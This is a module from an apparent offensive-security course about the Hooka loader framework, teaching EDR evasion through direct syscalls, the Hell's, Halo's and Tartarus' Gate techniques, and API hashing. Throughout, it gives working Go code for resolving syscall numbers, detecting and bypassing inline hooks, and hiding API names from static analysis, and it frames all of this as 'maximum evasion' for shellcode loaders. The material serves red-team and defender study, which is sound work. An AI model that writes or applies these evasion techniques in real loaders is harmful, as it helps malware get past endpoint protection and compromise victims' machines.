Module 3: Syscalls & Gate Techniques
If the front door is monitored, go through the wall.
Module Objective
This module explains why direct syscalls are essential for EDR evasion, how Windows transitions from user mode to kernel mode, and how Hooka implements three generations of dynamic syscall resolution: Hell's Gate, Halo's Gate, and Tartarus' Gate. You will also learn about API hashing and how Hooka uses it to avoid exposing plaintext API names in generated loaders.
1. Why Syscalls Matter
When your code calls a Windows API function like NtAllocateVirtualMemory, the call normally goes through ntdll.dll — the lowest user-mode layer before entering the kernel. EDR products know this, so they hook ntdll functions by replacing the first few bytes of each function with a JMP instruction that redirects execution to the EDR's inspection code.
Normal API Call vs EDR-Hooked Call
VirtualAlloc
NtAllocateVirtualMemory
Kernel mode
JMP → EDR hook
Log + analyze
Continues to kernel
The solution: skip ntdll entirely. If your code can construct the correct syscall instruction with the right System Service Number (SSN), you can transition directly to kernel mode without ever touching the hooked ntdll functions. The EDR never sees the call.
Direct Syscalls in One Sentence
A direct syscall places the correct SSN in the EAX register and executes the syscall instruction directly from your own code, completely bypassing ntdll.dll and any hooks it contains.
2. Windows Syscall Architecture
When a user-mode program needs kernel services (allocating memory, creating threads, opening files), it must transition from Ring 3 (user mode) to Ring 0 (kernel mode). On x64 Windows, this happens through the syscall CPU instruction.
Every NT function in ntdll.dll follows the same stub pattern:
ASM; Standard NT syscall stub (unhooked)
NtAllocateVirtualMemory:
mov r10, rcx ; 4C 8B D1 (save 1st arg)
mov eax, 0x0018 ; B8 18 00 00 00 (SSN in EAX)
test byte ptr [...] ; Check for SystemCall flag
jne label
syscall ; Transition to kernel
ret ; Return to caller
The critical bytes are:
| Bytes | Instruction | Purpose |
|---|---|---|
4C 8B D1 | mov r10, rcx | Saves the first argument (Windows calling convention requirement) |
B8 XX XX 00 00 | mov eax, SSN | Loads the System Service Number into EAX |
0F 05 | syscall | Triggers the ring transition to kernel mode |
SSNs Change Per Windows Build
System Service Numbers are not stable across Windows versions. The SSN for NtAllocateVirtualMemory might be 0x0018 on Windows 10 21H2 but 0x0019 on Windows 11 23H2. Hardcoding SSNs means your loader breaks on different Windows versions. This is why dynamic resolution techniques (Hell's Gate, Halo's Gate) are essential.
3. Hooka's Direct Syscall Implementation
Hooka provides two core functions for direct syscall execution:
GetSysId — Runtime SSN Resolution
GetSysId(funcname string) reads the syscall stub of the specified ntdll function at runtime and extracts the SSN from the mov eax instruction:
Go// GetSysId resolves the SSN for an NT function at runtime
func GetSysId(funcname string) (uint16, error) {
// Get handle to ntdll.dll (already loaded in every process)
ntdll := GetModuleHandle("ntdll.dll")
// Get address of the target function
funcAddr := GetProcAddress(ntdll, funcname)
// Read the stub bytes
stub := (*[8]byte)(unsafe.Pointer(funcAddr))
// Verify the stub starts with: mov r10, rcx (4C 8B D1)
if stub[0] == 0x4c && stub[1] == 0x8b && stub[2] == 0xd1 {
// Extract SSN from: mov eax, XX XX (B8 at offset 3)
if stub[3] == 0xb8 {
ssn := uint16(stub[4]) | uint16(stub[5])<<8
return ssn, nil
}
}
return 0, fmt.Errorf("function %s appears to be hooked", funcname)
}
Syscall — Direct Execution
Syscall(callid uint16, args ...uintptr) takes the SSN and arguments, and executes the syscall instruction directly from assembly, completely bypassing ntdll:
Go// Using Hooka's direct syscall
ssn, err := hooka.GetSysId("NtAllocateVirtualMemory")
if err != nil {
log.Fatal("Function is hooked:", err)
}
// Execute direct syscall with the resolved SSN
status, err := hooka.Syscall(
ssn,
currentProcess, // ProcessHandle
&baseAddr, // BaseAddress
0, // ZeroBits
®ionSize, // RegionSize
MEM_COMMIT|MEM_RESERVE, // AllocationType
PAGE_READWRITE, // Protect
)
The Problem with GetSysId
GetSysId works perfectly when the ntdll stub is not hooked. It reads the first bytes, finds the mov r10, rcx pattern, and extracts the SSN. But if an EDR has replaced those bytes with a JMP instruction (opcode 0xE9), the expected pattern is gone and GetSysId fails. This is where the Gate techniques come in.
4. Hell's Gate
Hell's Gate, created by am0nsec and smelly__vx, was the first published technique for dynamically resolving SSNs at runtime. The core insight: since SSNs are sequential in ntdll's export table, you can determine a function's SSN by its position relative to other NT functions.
Hell's Gate enumerates all exported functions from ntdll.dll, identifies NT syscall stubs by their byte pattern, and sorts them by address. The SSN equals the function's index in this sorted list (SSN 0 for the first, SSN 1 for the second, and so on).
Go// Hell's Gate concept (simplified)
func HellsGate(targetFunc string) (uint16, error) {
// 1. Parse ntdll exports
exports := parseNtdllExports()
// 2. Filter to only Zw* functions (they share stubs with Nt*)
var syscallFuncs []ExportEntry
for _, exp := range exports {
if strings.HasPrefix(exp.Name, "Zw") {
syscallFuncs = append(syscallFuncs, exp)
}
}
// 3. Sort by address (SSNs are assigned in address order)
sort.Slice(syscallFuncs, func(i, j int) bool {
return syscallFuncs[i].Address < syscallFuncs[j].Address
})
// 4. Find target - its index IS the SSN
target := strings.Replace(targetFunc, "Nt", "Zw", 1)
for i, fn := range syscallFuncs {
if fn.Name == target {
return uint16(i), nil
}
}
return 0, fmt.Errorf("function not found")
}
Limitation of Hell's Gate
Hell's Gate requires reading the syscall stub bytes to confirm a function is a valid syscall. If the stub is hooked (first bytes replaced with JMP), Hell's Gate cannot reliably verify the function. This led to the development of Halo's Gate.
5. Halo's Gate
Halo's Gate extends Hell's Gate with a critical improvement: when a function's stub is hooked, it looks at neighboring functions (which may not be hooked) to calculate the SSN.
The key insight: if the function at index N is hooked but the function at index N+1 (or N-1) is not, you can read the neighbor's SSN and add or subtract 1 to derive the hooked function's SSN.
Halo's Gate: Neighbor-Based Resolution
HOOKED (0xE9 JMP)
Read stub bytes
Clean stub found
Calculate from offset
Go// Halo's Gate: detecting hooks and using neighbors
func HalosGate(funcName string) (uint16, error) {
funcAddr := GetProcAddress(ntdll, funcName)
stub := readBytes(funcAddr, 8)
// Check if function is hooked (starts with JMP = 0xE9)
if stub[0] == 0xE9 || stub[3] == 0xE9 {
// Function is hooked! Search neighbors
for offset := 1; offset < 500; offset++ {
// Try the function UP (higher address)
upAddr := funcAddr + uintptr(offset * STUB_SIZE)
upStub := readBytes(upAddr, 8)
if isCleanStub(upStub) {
neighborSSN := extractSSN(upStub)
return neighborSSN - uint16(offset), nil
}
// Try the function DOWN (lower address)
downAddr := funcAddr - uintptr(offset * STUB_SIZE)
downStub := readBytes(downAddr, 8)
if isCleanStub(downStub) {
neighborSSN := extractSSN(downStub)
return neighborSSN + uint16(offset), nil
}
}
}
// Not hooked - read SSN directly
return extractSSN(stub), nil
}
func isCleanStub(stub []byte) bool {
// mov r10, rcx (4C 8B D1) + mov eax, SSN (B8 ...)
return stub[0] == 0x4c && stub[1] == 0x8b &&
stub[2] == 0xd1 && stub[3] == 0xb8
}
6. Tartarus' Gate
Tartarus' Gate handles a subtler form of hooking. Some EDRs place their JMP hook after the mov r10, rcx instruction rather than at the very start. This means the first 3 bytes look clean, but the mov eax, SSN instruction at offset 3 is replaced.
ASM; Standard clean stub
NtFunction:
4C 8B D1 ; mov r10, rcx (clean)
B8 18 00 00 00 ; mov eax, 0x18 (SSN)
...
; Tartarus-style hook (JMP placed after mov r10, rcx)
NtFunction:
4C 8B D1 ; mov r10, rcx (looks clean!)
E9 XX XX XX XX ; jmp EDR_hook (hook AFTER first instruction)
...
Tartarus' Gate detects this by checking both the function start (offset 0) and the instruction at offset 3. If either location contains a JMP (0xE9), the function is considered hooked and the neighbor-search algorithm activates:
Go// Tartarus' Gate: extended hook detection
func isHooked(stub []byte) bool {
// Hell's Gate check: JMP at very start
if stub[0] == 0xE9 {
return true
}
// Tartarus' Gate check: JMP after mov r10, rcx
if stub[3] == 0xE9 {
return true
}
return false
}
7. Gate Technique Comparison
| Technique | Authors | Hook Detection | Resolution Strategy | Weakness |
|---|---|---|---|---|
| Hell's Gate | am0nsec, smelly__vx | Checks stub byte pattern | Export table sorting + index = SSN | Fails if target stub is hooked |
| Halo's Gate | sektor7 | JMP (0xE9) at function start | Reads neighbor stubs, calculates SSN from offset | Misses hooks placed after mov r10, rcx |
| Tartarus' Gate | trickster0 | JMP at offset 0 OR offset 3 | Neighbor search (same as Halo's Gate) | May miss exotic hook placements |
Which Gate Does Hooka Use?
Hooka implements all three and exposes them through its library. The CLI defaults to Halo's Gate when the --hashing flag is used (since it pairs with API hashing). For library usage, you can call GetSysIdHalos() or GetSysIdHashHalos(hash, hashFunc) directly, choosing the technique that best fits your target environment.
8. API Hashing
A loader that contains plaintext strings like "NtAllocateVirtualMemory" or "NtCreateThreadEx" in its binary is trivially identified by static analysis. API hashing replaces these strings with their hash values, resolving functions at runtime by hashing each export name and comparing.
How GetFuncPtr Works
Hooka's GetFuncPtr(hash, hashingFunc) walks the export table of a DLL, hashes each function name using the specified algorithm, and returns the address when a match is found:
Go// Resolve function by hash instead of name
func GetFuncPtr(targetHash string, hashFunc func(string)string) uintptr {
ntdll := GetModuleHandle("ntdll.dll")
exports := parseExportTable(ntdll)
for _, export := range exports {
if hashFunc(export.Name) == targetHash {
return export.Address
}
}
return 0
}
// Usage: resolve NtAllocateVirtualMemory by its SHA256 hash
addr := GetFuncPtr(
"a1b2c3d4e5f6...", // pre-computed hash
hooka.SHA256Hash,
)
Supported Hashing Algorithms
| Algorithm | Hooka Function | Hash Length | Notes |
|---|---|---|---|
| MD5 | MD5Hash(name) | 32 hex chars | Fast, compact, but collision-prone |
| SHA1 | SHA1Hash(name) | 40 hex chars | Good balance of speed and uniqueness |
| SHA256 | SHA256Hash(name) | 64 hex chars | Most secure, largest hashes |
Combining Hashing with Halo's Gate
GetSysIdHashHalos(hash, hashingFunc) combines API hashing with Halo's Gate resolution. It finds the function by hash (no plaintext name), then applies Halo's Gate to extract the SSN even if the function is hooked:
Go// Maximum evasion: hash-based resolution + Halo's Gate
ssn, err := hooka.GetSysIdHashHalos(
"a1b2c3...", // SHA256 of "NtAllocateVirtualMemory"
hooka.SHA256Hash, // hashing function
)
// Now use ssn with Syscall() for direct kernel transition
The --hashing CLI Flag
When you pass --hashing to the Hooka CLI, the generated loader uses API hashing for all function resolution. Instead of GetProcAddress(ntdll, "NtAllocateVirtualMemory"), the generated code contains hash constants and resolves functions by walking the export table at runtime. This eliminates suspicious strings from the binary, defeating static analysis tools that search for known API names.
9. Hooked vs Unhooked Stub Comparison
Syscall Stub: Clean vs Hooked
Clean (Unhooked)
ASMNtAllocateVirtualMemory:
4C 8B D1 mov r10, rcx
B8 18 00 00 00 mov eax, 0x18
0F 05 syscall
C3 ret
Hooked (EDR Inline Hook)
ASMNtAllocateVirtualMemory:
E9 XX XX XX XX jmp EDR_Hook
00 00 00 (overwritten bytes)
0F 05 syscall
C3 ret
When GetSysId() reads the first byte and finds 0xE9 instead of 0x4C, it knows the function is hooked. Halo's Gate then searches neighboring stubs (up and down in memory) for a clean one, reads that neighbor's SSN, and calculates the target SSN from the offset between them.
10. Putting It All Together
Complete Syscall Evasion Flow
GetFuncPtr(hash, SHA256)
Is 0xE9 at offset 0 or 3?
Halo/Tartarus neighbor search
Syscall(ssn, args...)
This chain provides three layers of evasion: (1) no plaintext API names in the binary, (2) hook detection and bypass via Gate techniques, and (3) direct kernel transition that never touches ntdll code. Even if the EDR has hooked every function in ntdll.dll, this chain resolves the correct SSN and makes the syscall without ever executing the hooked code.
Knowledge Check
Q1: Why do EDRs hook ntdll.dll functions?
Q2: What improvement does Halo's Gate provide over Hell's Gate?
Q3: What is the purpose of API hashing in a shellcode loader?